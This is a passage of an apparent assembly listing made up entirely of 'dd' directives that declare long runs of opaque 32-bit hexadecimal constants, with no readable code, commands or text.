6F3442FCh, 0B9750FE8h, 0BA8D5864h dd 2A7FC0C8h, 0BD0B4B39h, 35D5A843h, 73130A1Ah, 9A19EA95h dd 36BCAA36h, 5903E646h, 0BA27E449h, 3FAC446Eh, 2F71A877h dd 7DBD5401h, 8DC87B8Bh, 0DE0128B9h, 0EB9622DFh, 0CF54385Ah dd 0A67F2023h, 718C7C4Fh, 6B670301h, 78ACA31Ch, 6F72A8DCh dd 57C1A9C5h, 53406D92h, 7DA64E6Ch, 38DF4951h, 0F89EBD8Dh dd 7FAF1A72h, 0D4AC4510h, 348B0D36h, 0F0C14098h, 54FC50F3h dd 0BF3578FFh, 0A57A9AE1h, 0E9D2ABA6h, 845E27FAh, 52AD0905h dd 26BBEC16h, 0EED0ED56h, 3AE851E6h, 0B102BD5Ch, 320234CEh dd 54120AACh, 0B586F96Bh, 305FDDDEh, 91B9AD2h, 0C73174E0h dd 0C852906Fh, 48434871h, 0EECF2A53h, 44D915ECh, 7EBD9A35h dd 0FDA97543h, 3FC10C8Ah, 1CB44F93h, 0E6E8924Fh, 5FBE111Ah dd 957E696Bh, 0CD89CE4Dh, 4B63E1E6h, 0E898B522h, 0E865EB4Bh dd 0DB8E5A01h, 18CE31FAh, 9911A8E4h, 0F1EB89D7h, 0FCE8F0ECh dd 0C29367A7h, 0BC1F37B6h, 18F7789Dh, 0F80403B3h, 0D9825831h dd 8946C00Dh, 6DFFF480h, 8FEEA2DCh, 9A46FD83h, 1F9520A3h dd 0F9F5C74Bh, 7AA26EB2h, 0CEA71F6h, 1DC41008h, 35ACAFF2h dd 5022D704h, 0A20B658Fh dd 57F8E10h, 0F356A578h, 0B4612515h, 690246EAh, 70350698h dd 3569D05Fh, 9DAD071Ch, 2BB6E487h, 0B5CD0650h, 0C474964Ah dd 0E97CCF04h, 2B03ABBAh, 0BFB5C7ACh, 77B41831h, 126F50ACh dd 2359DC5Ah, 26FBFE00h, 4A1AA7A9h, 0E7C07969h, 9CED0C7Dh dd 7C000122h, 852D0C66h, 728A5F7Fh, 4511D71Ch, 5A7C1116h dd 96960EE7h, 7EF40A80h, 0DF0948AFh, 85832E2Bh, 0CFAB6295h dd 968CF71Dh, 328523F2h, 54CC16A8h, 0F9B35AD1h, 17F72317h dd 0DD4B9AADh, 95B2D4C0h, 76A1EFD0h, 1938313h, 39EFD5D4h dd 87055F9h, 0F614942Bh, 771D26E3h, 0C741B403h, 700D4371h dd 0CB6C16A3h, 168107EEh, 0E711CFCCh, 22595FF1h, 7D23E2CBh dd 0BD08441h, 713A61DEh, 55354341h, 1EBED2C0h, 0C7B4FE3Ch dd 0B6BF5BE9h, 0C3E964C4h, 0A8B690A8h, 9DE197F5h, 20C2AADBh dd 0E165976Ch, 27636B1Fh, 7AE1577Ch, 2302AB37h, 7664B7D0h dd 4657674Eh, 477977A0h, 6766F4E0h, 3E64A9D5h, 80F167E2h dd 0E15B435Dh, 0DFEEA57Bh, 0F239B951h, 86716456h, 79D40D45h dd 79B6F43Fh, 829513CAh, 6641E75Bh, 0EB48E674h, 0E3A81773h dd 8326BADFh, 7D19150Eh, 15EDF151h, 0D0AC98Bh, 967CD24Dh dd 1B74D0D1h, 0D0FC7CFFh, 0E50F85F0h, 0B091AD83h, 0B886E45Ah dd 178F8618h, 0C9962C69h, 6850C04Dh, 6D5AD406h, 310E04A5h dd 0B8B721FEh, 245C4340h, 0B1F561BCh, 14B308A4h, 27E4A57Bh dd 0BFA0C475h, 7E74C2A2h, 0CD6BB717h, 49A27A14h, 0ADB4F13Fh dd 4640D83Dh, 0D4654105h, 0FDC875AEh, 96EB7665h, 9EB375D6h dd 5248B08Fh, 74BBE4E3h, 78F0B0h, 2075A44Bh, 93C40E45h dd 0A070B49Bh, 658CD480h, 67EB05C3h, 9D875A33h, 6D3EDCB5h dd 0CCC38BA2h, 323B1035h, 1F751A1h, 173B1027h, 10D22CBBh dd 1E1D31A3h, 0D54D0DBCh, 5D518A0Ah, 40ED5041h, 32E49BF6h dd 18104C0Ah, 0B7FA1AE1h, 211E8012h, 7BDFB995h, 17D84C62h dd 0C19FDD39h, 0DBED02BBh, 0F6782674h, 619E7C47h, 791B74E1h dd 9536C857h, 0F78EA1B1h, 0C65E076Eh, 66161E4Eh, 3018C9ACh dd 0A4A78684h, 0C2768F7Ch, 0C589D05Ch, 509F8C3Bh, 52F6D460h dd 679BB80Ah, 91EA2B07h, 0F7CF2791h, 43508984h, 0D4E296B0h dd 0C97FEC5Ch, 0E0FADEDBh, 0D35273DAh, 0A4ABDC59h, 72F0F4A8h dd 0E4DFA4C5h, 3677DD3Ah, 0F6D07063h, 0E2D9C61Eh, 0AC3D7D9Ch dd 6A622120h, 0A555CC3Ch, 85690D30h, 9DF753F9h, 44EB64CBh dd 1FEC46Eh, 0F0C7039Ah, 92A4F16Ch, 92584322h, 57E80064h dd 7F13DC3Ch, 6E5E7302h, 80DB5267h, 28A115F8h, 94744A7Ch dd 62FA4639h, 4CDF7654h, 0AC2BA18Dh, 0F3A3FC87h, 6E207880h dd 0AED4B89Bh, 86A2C309h, 8D9492A1h, 6FB5B836h, 2344A9E7h dd 9CBBF18Fh, 0B2D29D79h, 0A65CB903h, 736D9B42h, 5174938Bh dd 0CAE8A126h, 75103845h, 771DDB9Dh, 0E832FBDFh, 0FA433723h dd 86B7C055h, 75F2F192h, 0AF7AB0A6h, 0C22AD70Ch, 9296400Bh dd 3A3F0B34h, 9D1FCA7Dh, 2FF311F5h, 0E8E2775Bh, 0E3561F2Ah dd 2A31E05Ch, 0B83BDC39h, 936E8180h, 345A120Eh, 82BD8FE3h dd 0F07BAB26h, 0C30A079Ah, 5CB62B98h, 235F920Ah, 3152A01Ch dd 0EF54699Ah, 227A35Bh, 0A400743Ch, 0A013E04Dh, 0DE859B1Ch dd 0FE25C0EBh, 0E43C09E5h, 0BF90F3A2h, 61D68321h, 3927772Fh dd 0B68905ADh, 0F57B72D2h, 0E585A02Ch, 1C53E703h, 5C0C81B2h dd 53F792Fh, 0DBE049C8h, 3CFA6B33h, 0F34CE23Dh, 0FF44CB7Ch dd 0D5756732h, 0D2B327AEh, 990DA3E4h, 3118EF2Fh, 3F19E75h dd 6234D520h, 0F41B07D2h, 735D3042h, 25A7BE65h, 38415628h dd 0EE6C81C4h, 0D01A4B96h, 0AEB74818h, 0BB8AB4D9h, 0A3C3CB79h dd 2AB193FBh, 653A7F27h, 49E06916h, 0E1B7D7E4h, 0E11BE478h dd 21B5CB52h, 50353123h, 9161160Fh, 2C7AF953h, 395A32F1h dd 0F2B3F3E6h, 0EF6E7F49h, 0C863AABCh, 0EB950B2h, 0B93D6CC2h dd 3DFF11BDh, 0A566035Ah, 0C055FC21h, 0FED79866h, 739E0277h dd 0F0DB840Eh, 5C114C58h, 8A1C9B00h, 41A030C2h, 20BE33B1h dd 4EEE200Ah, 74680993h, 0E4A047BFh, 8FB4AE4Ch, 828CD4DCh dd 7E3B1933h, 578D84EFh, 0B219287h, 0B0EE9BD1h, 91D873C0h dd 0D6F04799h, 52FB2C3Ch, 70BED128h, 15BF08CAh, 4E7EC9FDh dd 0BE3043C5h, 9E803495h, 92D8660Bh, 6B140589h, 0C0789A9Fh dd 1250118h, 0A007D51Ah, 8CC7217Ah, 6F45C895h, 498D9236h dd 7E23EBFEh, 855CA36Ch, 111B6129h, 0B0B5D3B2h, 21CCF732h dd 0FA19E9CDh, 0B537AD77h, 0F193406Fh, 82F615DFh, 3438FABFh dd 0C510D4D1h, 0E193B407h, 210A6D53h, 7B9DBCFDh, 5092CBB6h dd 41C70892h, 0D11311D7h, 0DD52BB2Fh, 21897EFFh, 252C3927h dd 954C0E2Ah, 81BBDD3Dh, 0C56CD869h, 0A65D2865h, 0E363D7FAh dd 0D049402Ch, 8227D6A3h, 0BD150AF8h, 54982846h, 0E348F6A7h dd 0BF1F6DCh, 0DF774AF0h, 150F881Bh, 0C0F9A4B7h, 4A0514FFh dd 0A5C1A894h, 0E62FE310h, 1F23ED09h, 7D1A2CF3h, 0ECD12E1Bh dd 6EA09782h, 5CBFFA86h, 3A50935Dh, 2704B3B0h, 82832E74h dd 9AEE4AB8h, 4633E9CAh, 0CDD97B60h, 4CD5CAAEh, 9F697FD6h dd 73CAC4E7h, 7CD6EE2Ch, 4C0B0306h, 6A718C02h, 29E87E45h dd 0C6968D3h, 5A4A4EEh, 6EA04CB5h, 0CF8B2F42h, 6DC38855h dd 0EC38668Fh, 34AEEB80h, 0AE2DEF23h, 7ED12708h, 1EB75D7Ah dd 3590CDE4h, 2F88F7CFh, 0B09BDD9Ah, 6F5720ADh, 2CCE50Ch dd 0FFECE773h, 0C02D0058h, 0CB2AFEE5h, 5ED189D2h, 0AF3B7576h dd 0A105AAE7h, 2AC80B0Ch, 8B6BA8E0h, 43FC4A8Bh, 0A4F95552h dd 40D7FFFAh, 437A8F02h, 22EB4B16h, 0F41D0CFEh, 0A5D77E0Bh dd 0EC915F7Ch, 5037ACA1h, 4D31FCECh, 9AC7A2B7h, 34AD993h dd 931B89E6h, 0EE5C4298h, 0CE64C45Ah, 2F581F0Fh, 0B90209F6h dd 529DEBB0h, 1F43FCADh, 19C56B1Fh, 0D29B992Eh, 79359EB0h dd 0E58E1920h, 2254B271h, 8B23EF8Ah, 5ABCD9A0h, 5E974559h dd 0E879DF5Ch, 72FA25BEh, 5BAA6F28h, 0E78F6C7Eh, 0DBDBBB3h dd 0DA43EA3Bh, 0CE573158h, 0E4CB4D2h, 1C4BAEECh, 2BDC4E95h dd 0BE74F7C0h, 6477DE4Ah, 65EDE56Ah, 2F2F0AD0h, 0E6D1EFCh dd 2950082Dh, 6D420CEAh, 825D7316h, 2EB607E9h, 0ABFB0B1Eh dd 0B7A50569h, 98B9531Fh, 1B29B826h, 18E10DCBh, 6F87AD15h dd 5D873C3Ch, 0DF12E51Bh, 793D9A12h, 4E94CA9h, 0B431D946h dd 0CC15CDA8h, 50D5ECBFh, 7D647584h, 0A8940E7Ch, 4DA76E8Ah dd 5C6F787Fh, 0BF618CDDh, 0E766CD7h, 7A742CFBh, 96D4A27Ah dd 0B681F965h, 0EADAB31Dh, 0A2D4B668h, 0CCA85DE0h, 3F00ED5Ch dd 0AD9DAECCh, 0CD988C39h, 59C47F5Eh, 0C2F0B9C0h, 8CF8328Dh dd 0BDB66C6Ah, 3C9EF32Ch, 0CAFC74C4h, 0A5863F75h, 0F77CFE6h dd 87B401EAh, 0CBE156D5h, 0D53E1E8Ah, 8E1EACDEh, 6C1DCD22h dd 6FDBBEF4h, 0BCE41583h, 0EB02D15h, 0E473B4B8h, 2546AE51h dd 0DADC1E66h, 4367D5FAh, 0FF5DB571h, 0EAC8A293h, 0BB6B0F56h dd 8D91BADh, 868DB003h, 194EAE7Ah, 8D98021Ah, 0BD53ACE1h dd 0B5D7187Fh, 8A69F59Eh, 0A974EC91h, 18062AE5h, 30C279A3h dd 541FF16Dh, 7E5BF61Ch, 2FB16170h, 8C909970h, 738981EFh dd 8FE84912h, 0CC88DC2Dh, 288A4D63h, 0D0B0196Ch, 0ACA37FDFh dd 6CE3ADAAh, 84BFECD3h, 5F64024Fh, 0AF3B61B5h, 2DEA3646h dd 6F6812Fh, 8CC6AE05h, 0C20674EFh, 64D1C69Ah, 0F16F2908h dd 1089617Ch, 1B1F8E96h dd 0EE1579C7h, 0BAF7BFD9h, 4EE2BCC4h, 951A9816h, 69A45372h dd 0FB7C290Ch, 7A247721h, 0D650EB93h, 0BF723B20h, 20768CDh dd 8AF1A8DAh, 284FE6F9h, 488A8B6Bh, 0F2FD9B86h, 655A89Bh dd 0AE54B3Ah, 403D372Dh, 14708B6Dh, 0E996E381h, 0AE843926h dd 69A36F3Ah, 294496Eh, 491417BCh, 0FE8C909Ah, 3338009Ch dd 35F5D865h, 0CA8D4902h, 0EA319EBEh, 5F3ABA24h, 11AF52h dd 0E5AB3AACh, 0E7C80457h, 166C2F50h, 36B631FEh, 7AD81DF0h dd 0AB6C4346h, 474D73D9h, 0B651DBA8h, 59FF13DEh, 3BA67971h dd 5C9E604h, 3572AFCh, 8CD226CAh, 5D399918h, 882F52A8h dd 62EFB291h, 63920FF6h, 0A532BFBFh, 82652F1Fh, 0F7EADF0Ah dd 8B680E35h, 898DFB0Fh, 2B90E869h, 0F50EA52Ah, 26B502Ch dd 91B7272Fh, 0BFAD8D30h, 8064B196h, 0CA00F7A5h, 6F3AA276h dd 0FD61B169h, 70FA6A97h, 0CF84D307h, 1683CF77h, 8F684B0Ch dd 0E1626C8Bh, 0FE377249h, 0A097D476h, 0C099DB99h, 9C2B0293h dd 9E6F0BD6h, 9AC254BEh, 0DA76F80Dh, 69ED8C4Ah, 82CA76A8h dd 0C2D09A75h, 49D579A8h, 0CB27A855h, 2BB582A0h, 138F7B3h dd 4210B136h, 0DAF5FA86h, 0A9B7EBDh, 2A816A4Dh, 8052CF08h dd 2137795Eh, 6554252Dh, 0DDF314E4h, 0C4C81031h, 0B97D52DFh dd 816D7FA2h, 0FE679DD3h, 0A2D2BE4Ah, 0ECDA53C4h, 4BBE791Dh dd 0AB7891C7h, 4FBA3C06h, 57B8AE6Bh, 8A60FCB1h, 0F6D6C356h dd 0A1A6D3A4h, 6DAD6C6Fh, 4E4B1677h, 380AEDD3h, 5479741Dh dd 1675AADBh, 0D8C9BD91h, 0E813688Ah, 0F5941498h, 61E90D93h dd 2181078h, 5577E073h, 31FE24E3h, 0E9AF24D9h, 0A8230D5Bh dd 2BF9DEAAh, 1E78EEAh, 7CB4CEA3h, 2B819D4h, 0D0689FCh dd 42AAD836h, 0EA52B527h, 0AB16D829h, 54986831h, 49F4F125h dd 548CF166h, 8996180Ah, 94800672h, 0C8DFC82Fh, 90CAA579h dd 5847825h, 0AA0B7086h, 8FCF582Bh, 4E0FB7C0h, 5D1687Ch dd 0E0EF2C77h, 2D1D8200h, 3DC39A97h, 0F099B831h, 889978DEh dd 0B4F00819h, 8553A533h, 0FC19FD3Bh, 23035E8Ch, 0C844B5B4h dd 7B26DB66h, 0E91C6BE0h, 0DDD51D82h, 0E46DE999h, 0AC7C3971h dd 0D9362FB5h, 958725F5h, 0A88D6AD0h, 6B1068B9h, 191ADC59h dd 0DDFABD2Bh, 0F88E9849h, 497C2E06h, 695BDD7Dh, 7A73CB72h dd 0E90EACD1h, 6BFBD8E9h, 3B4EAB80h, 0B516FA07h, 48852F70h dd 98DFC657h, 0C97179E0h, 0B3A34CFEh, 0B7A867B3h, 7497A12Bh dd 58EE984Dh, 0C8D0E796h, 520AB408h, 0C4CEA8C4h, 4069CCECh dd 4DC231E3h, 0FA5E00C1h, 0DEF5636Ah, 0F9713059h, 0D7A3B01Fh dd 0CA3458F7h, 0C6878763h, 4FB7D676h, 0B2380393h, 0B7681683h dd 7B4A6DDh, 25DBFE91h, 11B9A336h, 9235EA15h, 5E2FF4B0h dd 0B685DD50h, 0C692228Ch, 185EC8A6h, 0DAF41D91h, 1E5343D8h dd 0FC3BC606h, 7E73C48h, 0A7E8C741h, 7068BCFFh, 93E72AD5h dd 0C3252A72h, 0C49B59C5h, 0DB55272Ch, 0E60AFA14h, 0A152B32Ah dd 0E38E87F2h, 570D56B0h, 4236E820h, 67BC0FF0h, 0D6A37556h dd 7C0E0214h, 16AF9A85h, 1705DF59h, 9E79051Eh, 82069C6Ch dd 0A5C6A616h, 36180B9Ah, 93C67174h, 70E91EFBh, 85788DEEh dd 0AEE443AEh, 8E4F636Dh, 0C63F38B6h, 0D60113D7h, 964910DBh dd 296F119h, 55838A36h, 70C9B25h, 0E79367Bh, 0F606D473h dd 5E8C090Bh, 579FB49Eh, 0C92F12C0h, 0E7277254h, 335F28Bh dd 3AC27FCEh, 64539402h, 55CEA106h, 0F119824Dh, 0A3A45597h dd 77ED1453h, 0B49074E5h, 9470CC59h, 9143169Dh, 53D56488h dd 16FAE72Fh, 0C442FEE8h, 0C46B245Bh, 0B21C3A91h, 0EA64FC5Ah dd 64797016h, 7D19B95h, 5BF36CBh, 2169F4D8h, 0D068323h dd 0F4325D13h, 0A57D978Dh, 91C2E274h, 3445D4F8h, 0D46FE59Ah dd 0ADEF8203h, 8DAF1731h, 0B6A937A2h, 0A9116A23h, 0E032F9D0h dd 0F2171D2Ah, 34E1503Bh, 0F5F3B1ECh, 258FE578h, 477A805Fh dd 4549B0C4h, 564B1DD3h, 354D3008h, 0A91CC11Fh, 0F25E71B0h dd 208D91CFh, 31571F38h, 21F42A8Dh, 0D1F2FD58h, 2C440552h dd 0A5C48D72h, 855D966Ah, 558F2516h, 55336BAEh, 0BA31E515h dd 0D44A2D67h, 0D53B916Ah, 0AD1B9E66h, 0C94DCACBh, 91C8ABB9h dd 71CE4E1Ah, 0D5FB10Ah, 0BA5381A5h, 0ECACD9A9h, 0C11D150h dd 261F5DE9h, 0C509866Ch, 8D15A27Fh, 4160A905h, 0DA139C4Dh dd 100A05E3h, 0A704DC41h, 0D1660588h, 218196B6h, 4EEF770h dd 0A44588BEh, 7D50C4D1h, 519A19CAh, 154E4BD8h, 68ED5FCEh dd 8C4EA585h, 771911C3h, 341665E3h, 0F17004Ch, 0FEC579AEh dd 2CD01D4Eh, 40D63D67h, 3D83BF1Bh, 964F0AD7h, 94B157D0h dd 314D77D8h, 0ECA5844Ah, 8F8D2537h, 0AE1D9833h, 222543B8h dd 0E6DADB30h, 0AAAF4459h, 96169F46h, 87C4CCB3h, 97CCEBB6h dd 0C3AFF48h, 0DB5AC597h, 0C743B8B5h, 642B5B4Eh, 0D26C80D3h dd 0B4489973h, 4B49EBDFh, 0A749091Eh, 0EBD17F74h, 1873A77Ah dd 0AC56D460h, 3D68ABh, 0D0AF9380h, 0C131CD1Eh, 0A39DCDF8h dd 0A76C5280h, 7D097B6Bh, 27500282h, 4F963A57h, 6B36B3ADh dd 0E3B993A4h, 484C274Dh, 57058661h, 311D4F08h, 62CA665Fh dd 7054BCC4h, 20042D40h, 3B4D79FFh, 0E3CC0EC9h, 8A181BC6h dd 0BC91721Bh, 0FBC6D8DAh, 0E2F89BD4h, 33BD671Ah, 3EB4E118h dd 0E97BA723h, 7282C6Dh, 0B72367A6h, 3DAC4613h, 0E2DC0184h dd 0FDAF8CEEh, 0F3486C30h, 70BA43CBh, 0A2C05080h, 82395A38h dd 4C479237h, 3F6CB8D8h, 67152335h, 275504C0h, 23EB7AB7h dd 3346A06Ch, 75F0D369h, 0C2843EFCh, 1C5273F9h, 4F3EF22Bh dd 9491ACBBh, 74978209h, 50837261h, 14B21733h, 6E20A769h dd 9C9BF57h, 5D581AABh, 0C11CB911h, 9439690Ch, 0FAFA7A7Bh dd 0C4C310B1h, 85484538h, 0A3BBA097h, 602AF045h, 5B201159h dd 31B440A8h, 0C6688D3Fh, 51D99A01h, 0DC31552Eh, 0AB06E3F5h dd 0E173A086h, 817A8D9Ch, 2757EDBEh, 6D1DFB70h, 1AEA7695h dd 0E6F102ADh, 0CAF1EE2Eh, 329CA229h, 23F1B6Eh, 7D6A8285h dd 2A459897h, 0C37BB847h, 0E370DA85h, 0BA3334BEh, 65541A5Eh dd 41E3312Ah, 10A215A1h, 0F4DA3E81h, 0A2135B9Bh, 0C38F3D96h dd 0E0C1D1B5h, 0BC03B587h, 0E251378Fh, 0C2F5218Eh, 269F69B4h dd 2B658052h, 683C98C6h, 0B114FD90h, 5DA7981Eh, 0B5A1B87Eh dd 0E867E107h, 310C15B8h, 10762F5Eh, 85D7FF8h, 0B579EF2h dd 5145B13Ch, 612BB92Ah, 0ED21E148h, 0D11B1D34h, 0CD653108h dd 0E11F2512h, 1055B78h, 5903817Eh, 5181B10Ch, 6C80ADFAh dd 0B074FC70h, 0D968616Dh, 0BE107492h, 285FA085h, 7355E15Ch dd 7C73918Bh, 9F9DBBD0h, 0E0849815h, 0E9C073D4h, 0C9B897B7h dd 43B598BCh, 9FAFC3B8h, 0F5A474C4h, 0DDAEED17h, 71E1C419h dd 96AF756Eh, 0A4E28C19h, 51CE6D63h, 0C0D1FB88h, 101B08F5h dd 10B2C0ADh, 0D53F90DFh, 0EB9EE509h, 68562136h, 7005F039h dd 0B84B0194h, 0BA6D3005h, 0BD2F500Fh, 838F7A4Ch, 286CC1E5h dd 78F33387h, 91091FCAh, 98F28002h, 0B42201A3h, 424B37A4h dd 20153F21h, 18DA7C1Eh, 0B20BB806h, 2E0A0210h, 0F0453FDh dd 828E0139h, 8AAB7724h, 0B412BE2h, 0F024ECE2h, 0CCF9BB28h dd 0F4F35BCCh, 8B01A02Bh, 701C34CAh, 911ADE23h, 0B0571E0Ah dd 0C0C9ACC8h, 0E0AF7A5Ah, 94B97C24h, 2C2790A6h, 507920B0h dd 0ECA6DBAAh, 8C2DF0B4h, 0A08B989Eh, 0C099B88Dh, 648F4016h dd 13437BC8h, 30483A96h dd 176D7B98h, 944BDFB1h, 0FC748665h, 8F668CA8h, 9D6C37EEh dd 0F64754F8h, 0AA0F75DCh, 3EE5E7Eh, 0EF76A2D1h, 5EAC5BB8h dd 0D2C0F32Dh, 1E3E8E22h, 4C4A0D69h, 0D467E45Eh, 80A86A68h dd 9728EE2Dh, 0EF996F2Bh, 8FBA8C6Fh, 3351D894h, 0FBC01342h dd 8C8F1E31h, 694F05E6h, 33FDEF2Ch, 45C405C4h, 0FFF61FBAh dd 676E336Ah, 4630C60Eh, 0BB5B12EEh, 22D1745h, 72E7E7E2h dd 0C6F4B8FCh, 0AF89E9F7h, 958D1256h, 0E7877290h, 0C27BDF09h dd 0AF16D59Eh, 0FEFD3D6h, 12357E9Bh, 0F225EF1Ch, 124B5AA6h dd 0F804FA0h, 59B7C27Ch, 6B54DF89h, 93593E73h, 8E781648h dd 0AB5F4324h, 8059631Eh, 0D0EDBE6Bh, 0A0882EE0h, 63E7FE67h dd 4E6C5264h, 4B7B3384h, 5A75139Eh, 0E3CD7E7Fh, 0CE046E0Ch dd 2E0E9623h, 41D9318h, 6E2AFF17h, 4E1C047Ch, 0E42B3376h dd 71851E25h, 0A3257E2Ch, 0CE74DA3Ch, 0C833F3CCh, 141F9E7Dh dd 2319FE87h, 4E8C10C4h, 0BEDB73FEh, 8ED553C2h, 0A39F7E9Fh dd 0CEA43EECh, 2EAEA4B6h, 0BCFDD3A4h, 145F7E80h, 346B4274h dd 2EF1B00Eh, 30056476h, 0EE327F87h, 0CE340279h, 549313F8h dd 0E7A19E3Dh, 6EAA04DBh, 7AA173A4h, 0CE003F33h, 6B3564CCh dd 0F1CF04BAh, 0B763DD36h, 0AD3981C6h, 8D27ADA5h, 0AE53C898h dd 0A5D5BDBCh, 0CCD0730Eh, 4EB9AED0h, 0A2A3BFA6h, 7D8883A9h dd 0DEC316C6h, 0CED2413Fh, 0B3D605DFh, 98DD92D0h, 5AAB7AAEh dd 7E5AD9CDh, 38EDBFD7h, 82C999F2h, 0F8F062E4h, 0C08D5EE3h dd 0A5C24DE5h, 0C347A8EDh, 0C3BB317Fh, 59346CBEh, 9CA5BF16h dd 7C962F6Ch, 0F902622Ah, 0D23F442Ch, 0A4252C28h, 0FCAFADFDh dd 2EB44988h, 4520E37Ah, 8B3DCD36h, 0D5A2F9Dh, 62CFCCCCh dd 42446BF7h, 0DD533E58h, 0BE212124h, 7C7EFFE1h, 5241C86Ch dd 3563327Dh, 4E798169h, 0F3BC5E34h, 0D48E5D61h, 4A276595h dd 90A26E0Bh, 1C9BE98Bh, 0F15ED210h, 3896BF91h, 0BD0481DCh dd 0FFBA5829h, 0C9A26FBBh, 0CEE96A4h, 0A803A3BAh, 786BA3D6h dd 6BB553B8h, 30CA88B2h, 195698C9h, 0F9CF65E0h, 40902CE1h dd 0E1B8D47h, 95E318E0h, 687CF9ECh, 0FC2CDFEDh, 2E28CE67h dd 190D8503h, 0EA1A7E26h, 7A07FC41h, 0CEA2AAAh, 92B1F137h dd 0AD9B2539h, 8D967162h, 0A59D0D8Fh, 1D9BFC4Eh, 5CEA78B3h dd 0D9EF4B25h, 4B673C57h, 55591855h, 0C906C6EEh, 0F4617855h dd 98D9180Fh, 0D5C62CB5h, 9CC280C5h, 0FB0CD398h, 0BD652366h dd 8E362A68h, 0DBC1EE9Bh, 0EB8AF9FAh, 5B1429D5h, 3A0DC66Dh dd 0F88C678Ah, 28CF2B1Bh, 0A1BE180Fh, 0CF386BB1h, 0C8475FE3h dd 57186CFCh, 354A82A7h, 0A6A23B56h, 0F8DC4777h, 0EFC1C4D1h dd 3B9026C3h, 4F46914h, 6BFAE6F0h, 4CF0C2CEh, 7CE98429h dd 36883D6Eh, 48EFE11Bh, 68E87882h, 6016A9E8h, 161F2E95h dd 1B8F280Ah, 6B801002h, 3520A20Dh, 7B2B8E28h, 73303E56h dd 0CBAD871Ah, 4853988Ah, 93A3F991h, 80C56E85h, 76344FE2h dd 325BA747h, 4950A9D7h, 0FF4A5CF7h, 0D3E26845h, 4B17397Bh dd 60782D14h, 0D9A5EF60h, 0EE0AAE08h, 24000BAAh, 0A94391Fh dd 7F34B9Fh, 0B329D8CBh, 4E34C63Bh, 28C498DFh, 0A1DB5952h dd 5383A867h, 16BABEA0h, 7E3CEA29h, 5687CB1Bh, 0C3E94F10h dd 0A38B0CAh, 9B53E3AEh, 68EEFEDDh, 0DDCAD843h, 0BAA4EF42h dd 8DF88FF0h, 3BDE6FE5h, 0BA8D5240h, 0EAAA2B5h, 3A28983Dh dd 75A9DBB0h, 9BABDA15h, 3B21B8A2h, 0CE989601h, 7B57F666h dd 745DEE94h, 0B3361D58h, 95171E8Bh, 0CA8BD93Ch, 75BACF24h dd 395AA020h, 0A5D0EA48h, 0FF434537h, 25C6D85Eh, 0BF73F528h dd 94480756h, 467F6D1Dh, 0CBBF48D1h, 6D6BA55Fh, 0BBD4CEECh dd 0EF0332E0h, 642FA16Ch, 8BB2020Eh, 0B5B4270Bh, 7DC5BBDDh dd 39897684h, 6CDFE6E2h, 8EA9BC2Dh, 30A16CA6h, 0CECF8510h dd 66B734B9h, 0B8A71D14h, 1BD8A8BEh, 4EDAE54Fh, 59BACBD9h dd 155288EFh, 0D17200CAh, 0FCF646CFh, 8B67F478h, 1803882Fh dd 181E6969h, 55EC12C3h, 590D2B13h, 119970FAh, 0CE739CCCh dd 0CE02D94Dh, 8C63DD19h, 0AB243A93h, 194C8C04h, 53AACD19h dd 0D3BBA27h, 802C8223h, 1492C228h, 0CA584E90h, 0D9ECBC3Ah dd 8C31FC78h, 4F2D6A5Eh, 4C492249h, 505D19ADh, 0A7DD2F1Eh dd 99AC0914h, 0DC5F284Bh, 92C5E76Dh, 0F9780C8Bh, 0A4EA9378h dd 7DF75718h, 2A1E04B0h, 79E3F9F7h, 89D618C2h, 57CC338Ah dd 0B5A2269Fh, 0BC906C2Bh, 488A7F98h, 6FC0F281h, 0A6E0FA91h dd 2ABBEEE6h, 0F6E664C2h, 489094C7h, 3CF5FAA0h, 0B9252C69h dd 0A8A6205Ch, 2D05C990h, 0E43FF52Ah, 0C64958B1h, 8773B8BBh dd 0D5B02880h, 0A1843BB8h, 0A4713507h, 7B19C96Ch, 0E8DDA838h dd 459938DFh, 65BFF58Ah, 0B55515A0h, 9E4D0546h, 9E6A7E67h dd 9E6C3E69h, 9E16FE13h, 38183E15h, 7599E594h, 55FFC5EAh dd 0B5D525C0h, 850B1526h, 0EE2A6E1Ah, 0AE2C2E29h, 6E36EE33h dd 0AE382E35h, 6A59C83Fh, 4A3FDA4Ah, 0AA153A20h, 0FAEB1A06h dd 0F1E70AFCh, 0B1AC51A9h, 7196D193h, 0B198D195h, 5782519Fh dd 3A7FAA6Ah, 0DA154A00h, 0FA4B6A26h, 8AA11ABCh, 0C1EC41B4h dd 41F6C1F3h, 41F8C1F5h, 0C1C241FFh, 2A3FE7C1h, 0CA555A20h dd 0EA6B7A46h, 0BA811A7Ch, 0D1810A92h, 5116B113h, 5118F115h dd 0D102B11Fh, 77047101h, 0FAD56AC0h, 0DA8B4AA6h, 0BAA12ABCh dd 8A471A52h, 2136A14Eh, 6138E135h, 2142A13Fh, 0E1446141h dd 0EA95074Bh, 0CAEB5A86h, 0AAC13AFCh, 7A271AD2h, 311B0A08h dd 71989195h, 3182919Fh, 0F1849181h, 978E918Bh, 3B4BAAA6h dd 5B21CB3Ch, 7B07EB12h, 8BFD1BE8h, 7880E8h, 42807Fh, 448041h dd 4E804Bh, 2B6B264Dh, 4B01DB7Ch, 6B27FB12h, 0BBBD1B48h dd 10B50BAEh, 1002F01Fh, 1004B001h, 100E700Bh, 0B630B00Dh dd 7B21EB3Ch, 5B47CB52h, 0BB7D2B68h, 8B931B8Eh, 60C2E082h dd 20C4A0C1h, 0E0CE60CBh, 20D0A0CDh, 6BC146D7h, 4BA7DBD2h dd 0ABBD3B88h, 0FB531BAEh, 704F0B44h, 3084D081h, 0F08E508Bh dd 30F0508Dh, 0D6FAD0F7h, 3B87AB92h, 0DBFD4BE8h, 0FBD36BCEh dd 8B091B24h, 40C4C01Ch, 0C0CE40CBh, 0C0D040CDh, 40DAC0D7h dd 2BA766D9h, 0C83D5848h, 0E813782Eh, 0B8E91804h, 53E908FAh dd 0D30E330Bh, 0D330730Dh, 533A3337h, 0F53CF339h, 0F87D6868h dd 0D813480Eh, 0B8492824h, 88AF18BAh, 0A34E23B6h, 0E350634Dh dd 0A35A2357h, 635CE359h, 0E83D6563h, 0C853582Eh, 0A36F3844h dd 0DE898698h, 65722D96h, 0F18DD4B0h, 7F27B58Bh, 42D9585h dd 0E59AE19Eh, 0B5955418h, 0C1AF3498h, 93E115ADh, 3FEF1556h dd 0AC8D2549h, 0D55E814Ah, 39417C8Ch, 0C53B9C94h, 2CE1A521h dd 55361D32h, 7530AFF0h, 71231CC6h, 45EC2411h, 80175CF2h dd 5117CF8h, 0CFF8517h, 351C5D08h, 54E6397Fh, 